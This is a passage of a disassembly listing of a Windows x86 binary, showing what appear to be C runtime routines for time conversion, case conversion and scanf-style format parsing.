; sub_41D4FC jmp short loc_41D596 ; --------------------------------------------------------------------------- loc_41D58F: ; DATA XREF: ___:004248D0o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41D593: ; DATA XREF: ___:004248D4o mov esp, [ebp+var_18] loc_41D596: ; CODE XREF: sub_41D552+3Bj and [ebp+var_4], 0 loc_41D59A: ; CODE XREF: sub_41D552+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_41D5A3: ; DATA XREF: ___:004248C8o jmp sub_41D4FC sub_41D552 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D5A8 proc near ; CODE XREF: sub_418603+7p ; sub_418603+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4CF028 push esi cmp eax, 3 jnz short loc_41D5D1 mov esi, [ebp+arg_0] push esi call sub_41AD89 test eax, eax pop ecx jz short loc_41D5CE mov eax, [esi-4] sub eax, 9 jmp short loc_41D606 ; --------------------------------------------------------------------------- loc_41D5CE: ; CODE XREF: sub_41D5A8+1Cj push esi jmp short loc_41D5F8 ; --------------------------------------------------------------------------- loc_41D5D1: ; CODE XREF: sub_41D5A8+Ej cmp eax, 2 jnz short loc_41D5F5 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_41BAE4 add esp, 0Ch test eax, eax jz short loc_41D5F5 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_41D606 ; --------------------------------------------------------------------------- loc_41D5F5: ; CODE XREF: sub_41D5A8+2Cj ; sub_41D5A8+43j push [ebp+arg_0] loc_41D5F8: ; CODE XREF: sub_41D5A8+27j push 0 push dword_4CF024 nop call near ptr 28909B9h loc_41D606: ; CODE XREF: sub_41D5A8+24j ; sub_41D5A8+4Bj pop esi leave retn sub_41D5A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D609 proc near ; CODE XREF: sub_4186B1+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_41D6C5 cmp ebx, 8Ah jg loc_41D6C5 push esi push edi mov edi, [ebp+arg_4] mov esi, dword_436724[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_41D648 cmp edi, 2 jle short loc_41D648 inc esi loc_41D648: ; CODE XREF: sub_41D609+37j ; sub_41D609+3Cj call sub_420939 mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_436640 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_41D6BB cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_41D6C1 cmp dword_436644, 0 jz short loc_41D6C1 lea eax, [ebp+var_24] push eax call sub_420BAC pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_41D6C1 loc_41D6BB: ; CODE XREF: sub_41D609+90j add ecx, dword_436648 loc_41D6C1: ; CODE XREF: sub_41D609+96j ; sub_41D609+9Fj ... mov eax, ecx jmp short loc_41D6C8 ; --------------------------------------------------------------------------- loc_41D6C5: ; CODE XREF: sub_41D609+13j ; sub_41D609+1Fj or eax, 0FFFFFFFFh loc_41D6C8: ; CODE XREF: sub_41D609+BAj pop ebx leave retn sub_41D609 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D6CB proc near ; CODE XREF: sub_418833+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4CDA48, 0 push ebx jnz short loc_41D6F6 mov eax, [ebp+arg_0] cmp eax, 61h jl loc_41D794 cmp eax, 7Ah jg loc_41D794 sub eax, 20h jmp loc_41D794 ; --------------------------------------------------------------------------- loc_41D6F6: ; CODE XREF: sub_41D6CB+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_41D729 cmp dword_433E7C, 1 jle short loc_41D716 push 2 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41D721 ; --------------------------------------------------------------------------- loc_41D716: ; CODE XREF: sub_41D6CB+3Dj mov eax, off_433C70 mov al, [eax+ebx*2] and eax, 2 loc_41D721: ; CODE XREF: sub_41D6CB+49j test eax, eax jnz short loc_41D729 loc_41D725: ; CODE XREF: sub_41D6CB+AFj mov eax, ebx jmp short loc_41D794 ; --------------------------------------------------------------------------- loc_41D729: ; CODE XREF: sub_41D6CB+34j ; sub_41D6CB+58j mov edx, off_433C70 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41D74C and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_41D755 ; --------------------------------------------------------------------------- loc_41D74C: ; CODE XREF: sub_41D6CB+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_41D755: ; CODE XREF: sub_41D6CB+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_4CDA48 call sub_41E709 add esp, 20h test eax, eax jz short loc_41D725 cmp eax, 1 jnz short loc_41D787 movzx eax, [ebp+var_4] jmp short loc_41D794 ; --------------------------------------------------------------------------- loc_41D787: ; CODE XREF: sub_41D6CB+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41D794: ; CODE XREF: sub_41D6CB+14j ; sub_41D6CB+1Dj ... pop ebx leave retn sub_41D6CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D797 proc near ; CODE XREF: sub_418A52+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_41E19D mov edi, [ebp+arg_0] jmp short loc_41D7C6 ; --------------------------------------------------------------------------- loc_41D7C1: ; CODE XREF: sub_41D797+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_41D7C6: ; CODE XREF: sub_41D797+28j cmp dword_433E7C, 1 jle short loc_41D7DE movzx eax, al push 8 push eax call sub_41A642 pop ecx pop ecx jmp short loc_41D7ED ; --------------------------------------------------------------------------- loc_41D7DE: ; CODE XREF: sub_41D797+36j mov ecx, off_433C70 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_41D7ED: ; CODE XREF: sub_41D797+45j cmp eax, ebx jz short loc_41D827 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_41E224 pop ecx pop ecx push eax call sub_41E20D movzx eax, byte ptr [esi+1] inc esi push eax call sub_420F60 add esp, 0Ch loc_41D815: ; CODE XREF: sub_41D797+8Ej test eax, eax jz short loc_41D827 movzx eax, byte ptr [esi+1] inc esi push eax call sub_420F60 pop ecx jmp short loc_41D815 ; --------------------------------------------------------------------------- loc_41D827: ; CODE XREF: sub_41D797+58j ; sub_41D797+80j cmp byte ptr [esi], 25h jnz loc_41E109 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_41D85E: ; CODE XREF: sub_41D797+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_433E7C, 1 jle short loc_41D87B movzx eax, bl push 4 push eax call sub_41A642 pop ecx pop ecx jmp short loc_41D88A ; --------------------------------------------------------------------------- loc_41D87B: ; CODE XREF: sub_41D797+D3j mov ecx, off_433C70 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_41D88A: ; CODE XREF: sub_41D797+E2j test eax, eax jz short loc_41D8A0 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8A0: ; CODE XREF: sub_41D797+F5j cmp ebx, 4Eh jg short loc_41D8E3 jz short loc_41D905 cmp ebx, 2Ah jz short loc_41D8DE cmp ebx, 46h jz short loc_41D905 cmp ebx, 49h jz short loc_41D8C0 cmp ebx, 4Ch jnz short loc_41D8F2 inc [ebp+var_D] jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8C0: ; CODE XREF: sub_41D797+11Dj cmp byte ptr [esi+1], 36h jnz short loc_41D8F2 cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_41D8F2 inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8DE: ; CODE XREF: sub_41D797+113j inc [ebp+var_E] jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8E3: ; CODE XREF: sub_41D797+10Cj cmp ebx, 68h jz short loc_41D8FF cmp ebx, 6Ch jz short loc_41D8F7 cmp ebx, 77h jz short loc_41D8FA loc_41D8F2: ; CODE XREF: sub_41D797+122j ; sub_41D797+12Dj ... inc [ebp+var_F] jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8F7: ; CODE XREF: sub_41D797+154j inc [ebp+var_D] loc_41D8FA: ; CODE XREF: sub_41D797+159j inc [ebp+var_5] jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8FF: ; CODE XREF: sub_41D797+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_41D905: ; CODE XREF: sub_41D797+107j ; sub_41D797+10Ej ... cmp [ebp+var_F], 0 jz loc_41D85E cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_41D92A mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_41D92A: ; CODE XREF: sub_41D797+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_41D948 mov al, [esi] cmp al, 53h jz short loc_41D944 cmp al, 43h jz short loc_41D944 or [ebp+var_5], 0FFh jmp short loc_41D948 ; --------------------------------------------------------------------------- loc_41D944: ; CODE XREF: sub_41D797+1A1j ; sub_41D797+1A5j mov [ebp+var_5], 1 loc_41D948: ; CODE XREF: sub_41D797+19Bj ; sub_41D797+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_41D981 cmp esi, 63h jz short loc_41D972 cmp esi, 7Bh jz short loc_41D972 push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_41E224 pop ecx jmp short loc_41D97D ; --------------------------------------------------------------------------- loc_41D972: ; CODE XREF: sub_41D797+1C5j ; sub_41D797+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 loc_41D97D: ; CODE XREF: sub_41D797+1D9j pop ecx mov [ebp+var_14], eax loc_41D981: ; CODE XREF: sub_41D797+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_41D991 cmp [ebp+var_C], eax jz loc_41E16D loc_41D991: ; CODE XREF: sub_41D797+1EFj cmp esi, 6Fh jg loc_41DBF8 jz loc_41DEAA cmp esi, 63h jz loc_41DBD5 cmp esi, 64h jz loc_41DEAA jle loc_41DC22 cmp esi, 67h jle short loc_41D9F5 cmp esi, 69h jz short loc_41D9DD cmp esi, 6Eh jnz loc_41DC22 cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_41E0D8 jmp loc_41E0FE ; --------------------------------------------------------------------------- loc_41D9DD: ; CODE XREF: sub_41D797+229j push 64h pop esi loc_41D9E0: ; CODE XREF: sub_41D797+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_41DC6A mov [ebp+var_17], 1 jmp loc_41DC6F ; --------------------------------------------------------------------------- loc_41D9F5: ; CODE XREF: sub_41D797+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_41DA11 mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_41DA16 ; --------------------------------------------------------------------------- loc_41DA11: ; CODE XREF: sub_41D797+26Aj cmp ebx, 2Bh jnz short loc_41DA2D loc_41DA16: ; CODE XREF: sub_41D797+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41DA30 ; --------------------------------------------------------------------------- loc_41DA2D: ; CODE XREF: sub_41D797+27Dj mov edi, [ebp+arg_0] loc_41DA30: ; CODE XREF: sub_41D797+294j cmp [ebp+var_20], 0 jz short loc_41DA3F cmp [ebp+var_C], 15Dh jle short loc_41DA46 loc_41DA3F: ; CODE XREF: sub_41D797+29Dj mov [ebp+var_C], 15Dh loc_41DA46: ; CODE XREF: sub_41D797+2A6j ; sub_41D797+2F2j cmp dword_433E7C, 1 jle short loc_41DA5B push 4 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41DA66 ; --------------------------------------------------------------------------- loc_41DA5B: ; CODE XREF: sub_41D797+2B6j mov eax, off_433C70 mov al, [eax+ebx*2] and eax, 4 loc_41DA66: ; CODE XREF: sub_41D797+2C2j test eax, eax jz short loc_41DA8B mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41DA8B inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41DA46 ; --------------------------------------------------------------------------- loc_41DA8B: ; CODE XREF: sub_41D797+2D1j ; sub_41D797+2DBj cmp byte_433E80, bl jnz short loc_41DAF9 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41DAF9 inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax mov al, byte_433E80 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_41DAB4: ; CODE XREF: sub_41D797+360j cmp dword_433E7C, 1 jle short loc_41DAC9 push 4 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41DAD4 ; --------------------------------------------------------------------------- loc_41DAC9: ; CODE XREF: sub_41D797+324j mov eax, off_433C70 mov al, [eax+ebx*2] and eax, 4 loc_41DAD4: ; CODE XREF: sub_41D797+330j test eax, eax jz short loc_41DAF9 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41DAF9 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41DAB4 ; --------------------------------------------------------------------------- loc_41DAF9: ; CODE XREF: sub_41D797+2FAj ; sub_41D797+304j ... cmp [ebp+var_1C], 0 jz loc_41DB91 cmp ebx, 65h jz short loc_41DB11 cmp ebx, 45h jnz loc_41DB91 loc_41DB11: ; CODE XREF: sub_41D797+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41DB91 mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_41DB38 mov [esi], al inc esi jmp short loc_41DB3D ; --------------------------------------------------------------------------- loc_41DB38: ; CODE XREF: sub_41D797+39Aj cmp ebx, 2Bh jnz short loc_41DB5B loc_41DB3D: ; CODE XREF: sub_41D797+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_41DB4C and [ebp+var_C], eax jmp short loc_41DB5B ; --------------------------------------------------------------------------- loc_41DB4C: ; CODE XREF: sub_41D797+3AEj ; sub_41D797+3F8j inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41DB5B: ; CODE XREF: sub_41D797+3A4j ; sub_41D797+3B3j cmp dword_433E7C, 1 jle short loc_41DB70 push 4 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41DB7B ; --------------------------------------------------------------------------- loc_41DB70: ; CODE XREF: sub_41D797+3CBj mov eax, off_433C70 mov al, [eax+ebx*2] and eax, 4 loc_41DB7B: ; CODE XREF: sub_41D797+3D7j test eax, eax jz short loc_41DB91 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41DB91 inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_41DB4C ; --------------------------------------------------------------------------- loc_41DB91: ; CODE XREF: sub_41D797+366j ; sub_41D797+374j ... dec [ebp+var_4] push edi push ebx call sub_41E20D cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_41E19D cmp [ebp+var_E], 0 jnz loc_41E0FE inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_435FD8 add esp, 0Ch jmp loc_41E0FE ; --------------------------------------------------------------------------- loc_41DBD5: ; CODE XREF: sub_41D797+20Cj cmp [ebp+var_20], eax jnz short loc_41DBE4 inc [ebp+var_C] mov [ebp+var_20], 1 loc_41DBE4: ; CODE XREF: sub_41D797+441j cmp [ebp+var_5], 0 jle short loc_41DBEE mov [ebp+var_16], 1 loc_41DBEE: ; CODE XREF: sub_41D797+451j mov edi, offset dword_436000 jmp loc_41DD03 ; --------------------------------------------------------------------------- loc_41DBF8: ; CODE XREF: sub_41D797+1FDj mov eax, esi sub eax, 70h jz loc_41DEA6 sub eax, 3 jz loc_41DCF4 dec eax dec eax jz loc_41DEAA sub eax, 3 jz loc_41D9E0 sub eax, 3 jz short loc_41DC46 loc_41DC22: ; CODE XREF: sub_41D797+21Bj ; sub_41D797+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_41E16D dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_41E0FE mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_41E0FE ; --------------------------------------------------------------------------- loc_41DC46: ; CODE XREF: sub_41D797+489j cmp [ebp+var_5], 0 jle short loc_41DC50 mov [ebp+var_16], 1 loc_41DC50: ; CODE XREF: sub_41D797+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_41DD07 mov eax, edi lea edi, [eax+1] jmp loc_41DD03 ; --------------------------------------------------------------------------- loc_41DC6A: ; CODE XREF: sub_41D797+24Fj cmp ebx, 2Bh jnz short loc_41DC91 loc_41DC6F: ; CODE XREF: sub_41D797+259j dec [ebp+var_C] jnz short loc_41DC80 cmp [ebp+var_20], 0 jz short loc_41DC80 mov [ebp+var_F], 1 jmp short loc_41DC91 ; --------------------------------------------------------------------------- loc_41DC80: ; CODE XREF: sub_41D797+4DBj ; sub_41D797+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41DC91: ; CODE XREF: sub_41D797+4D6j ; sub_41D797+4E7j cmp ebx, 30h jnz loc_41DEDF push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_41DCDF cmp bl, 58h jz short loc_41DCDF cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_41DCC9 push 6Fh loc_41DCC3: ; CODE XREF: sub_41D797+55Bj pop esi jmp loc_41DEDF ; --------------------------------------------------------------------------- loc_41DCC9: ; CODE XREF: sub_41D797+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41E20D pop ecx pop ecx push 30h pop ebx jmp loc_41DEDC ; --------------------------------------------------------------------------- loc_41DCDF: ; CODE XREF: sub_41D797+517j ; sub_41D797+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_41DCC3 ; --------------------------------------------------------------------------- loc_41DCF4: ; CODE XREF: sub_41D797+46Fj cmp [ebp+var_5], 0 jle short loc_41DCFE mov [ebp+var_16], 1 loc_41DCFE: ; CODE XREF: sub_41D797+561j mov edi, offset dword_435FF8 loc_41DD03: ; CODE XREF: sub_41D797+45Cj ; sub_41D797+4CEj or [ebp+var_18], 0FFh loc_41DD07: ; CODE XREF: sub_41D797+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_417330 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_41DD2B cmp byte ptr [edi], 5Dh jnz short loc_41DD2B mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_41DD2E ; --------------------------------------------------------------------------- loc_41DD2B: ; CODE XREF: sub_41D797+584j ; sub_41D797+589j mov dl, [ebp+var_35] loc_41DD2E: ; CODE XREF: sub_41D797+592j ; sub_41D797+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_41DD93 inc edi cmp al, 2Dh jnz short loc_41DD7A test dl, dl jz short loc_41DD7A mov cl, [edi] cmp cl, 5Dh jz short loc_41DD7A inc edi cmp dl, cl jnb short loc_41DD4D mov al, cl jmp short loc_41DD51 ; --------------------------------------------------------------------------- loc_41DD4D: ; CODE XREF: sub_41D797+5B0j mov al, dl mov dl, cl loc_41DD51: ; CODE XREF: sub_41D797+5B4j cmp dl, al ja short loc_41DD76 movzx edx, dl movzx esi, al sub esi, edx inc esi loc_41DD5E: ; CODE XREF: sub_41D797+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_41DD5E loc_41DD76: ; CODE XREF: sub_41D797+5BCj xor dl, dl jmp short loc_41DD2E ; --------------------------------------------------------------------------- loc_41DD7A: ; CODE XREF: sub_41D797+5A0j ; sub_41D797+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_41DD2E ; --------------------------------------------------------------------------- loc_41DD93: ; CODE XREF: sub_41D797+59Bj cmp byte ptr [edi], 0 jz loc_41E19D cmp [ebp+var_3C], 7Bh jnz short loc_41DDA5 mov [ebp+arg_4], edi loc_41DDA5: ; CODE XREF: sub_41D797+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_41E20D pop ecx pop ecx loc_41DDBC: ; CODE XREF: sub_41D797+6BCj ; sub_41D797+6C4j cmp [ebp+var_20], 0 jz short loc_41DDD0 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_41DE6C loc_41DDD0: ; CODE XREF: sub_41D797+629j inc [ebp+var_4] push edi call sub_41E1F3 cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_41DE60 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_41DE60 cmp [ebp+var_E], 0 jnz short loc_41DE58 cmp [ebp+var_16], 0 jz short loc_41DE4D mov ecx, off_433C70 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_41DE2C inc [ebp+var_4] push edi call sub_41E1F3 pop ecx mov [ebp+var_37], al loc_41DE2C: ; CODE XREF: sub_41D797+686j push dword_433E7C lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_420E98 mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_41DE50 ; --------------------------------------------------------------------------- loc_41DE4D: ; CODE XREF: sub_41D797+673j mov [esi], al inc esi loc_41DE50: ; CODE XREF: sub_41D797+6B4j mov [ebp+var_2C], esi jmp loc_41DDBC ; --------------------------------------------------------------------------- loc_41DE58: ; CODE XREF: sub_41D797+66Dj inc [ebp+var_30] jmp loc_41DDBC ; --------------------------------------------------------------------------- loc_41DE60: ; CODE XREF: sub_41D797+649j ; sub_41D797+667j dec [ebp+var_4] push edi push eax call sub_41E20D pop ecx pop ecx loc_41DE6C: ; CODE XREF: sub_41D797+633j cmp [ebp+var_30], esi jz loc_41E19D cmp [ebp+var_E], 0 jnz loc_41E0FE inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_41E0FE cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_41DE9E and word ptr [eax], 0 jmp loc_41E0FE ; --------------------------------------------------------------------------- loc_41DE9E: ; CODE XREF: sub_41D797+6FCj and byte ptr [eax], 0 jmp loc_41E0FE ; --------------------------------------------------------------------------- loc_41DEA6: ; CODE XREF: sub_41D797+466j mov [ebp+var_D], 1 loc_41DEAA: ; CODE XREF: sub_41D797+203j ; sub_41D797+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_41DEB8 mov [ebp+var_17], 1 jmp short loc_41DEBD ; --------------------------------------------------------------------------- loc_41DEB8: ; CODE XREF: sub_41D797+719j cmp ebx, 2Bh jnz short loc_41DEDF loc_41DEBD: ; CODE XREF: sub_41D797+71Fj dec [ebp+var_C] jnz short loc_41DECE cmp [ebp+var_20], 0 jz short loc_41DECE mov [ebp+var_F], 1 jmp short loc_41DEDF ; --------------------------------------------------------------------------- loc_41DECE: ; CODE XREF: sub_41D797+729j ; sub_41D797+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 pop ecx mov ebx, eax loc_41DEDC: ; CODE XREF: sub_41D797+543j mov [ebp+var_14], ebx loc_41DEDF: ; CODE XREF: sub_41D797+4FDj ; sub_41D797+52Dj ... cmp [ebp+var_30], 0 jz loc_41DFF8 cmp [ebp+var_F], 0 jnz loc_41DFD6 loc_41DEF3: ; CODE XREF: sub_41D797+82Cj cmp esi, 78h jnz short loc_41DF47 cmp dword_433E7C, 1 jle short loc_41DF10 push 80h push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41DF1D ; --------------------------------------------------------------------------- loc_41DF10: ; CODE XREF: sub_41D797+768j mov eax, off_433C70 mov al, [eax+ebx*2] and eax, 80h loc_41DF1D: ; CODE XREF: sub_41D797+777j test eax, eax jz loc_41DFC8 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_420F90 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_41E1BC mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41DF9A ; --------------------------------------------------------------------------- loc_41DF47: ; CODE XREF: sub_41D797+75Fj cmp dword_433E7C, 1 jle short loc_41DF5C push 4 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41DF67 ; --------------------------------------------------------------------------- loc_41DF5C: ; CODE XREF: sub_41D797+7B7j mov eax, off_433C70 mov al, [eax+ebx*2] and eax, 4 loc_41DF67: ; CODE XREF: sub_41D797+7C3j test eax, eax jz short loc_41DFC8 cmp esi, 6Fh jnz short loc_41DF85 cmp ebx, 38h jge short loc_41DFC8 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_420F90 jmp short loc_41DF94 ; --------------------------------------------------------------------------- loc_41DF85: ; CODE XREF: sub_41D797+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_417760 loc_41DF94: ; CODE XREF: sub_41D797+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_41DF9A: ; CODE XREF: sub_41D797+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_41DFB2 dec [ebp+var_C] jz short loc_41DFD6 loc_41DFB2: ; CODE XREF: sub_41D797+814j push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_41DEF3 ; --------------------------------------------------------------------------- loc_41DFC8: ; CODE XREF: sub_41D797+788j ; sub_41D797+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41E20D pop ecx pop ecx loc_41DFD6: ; CODE XREF: 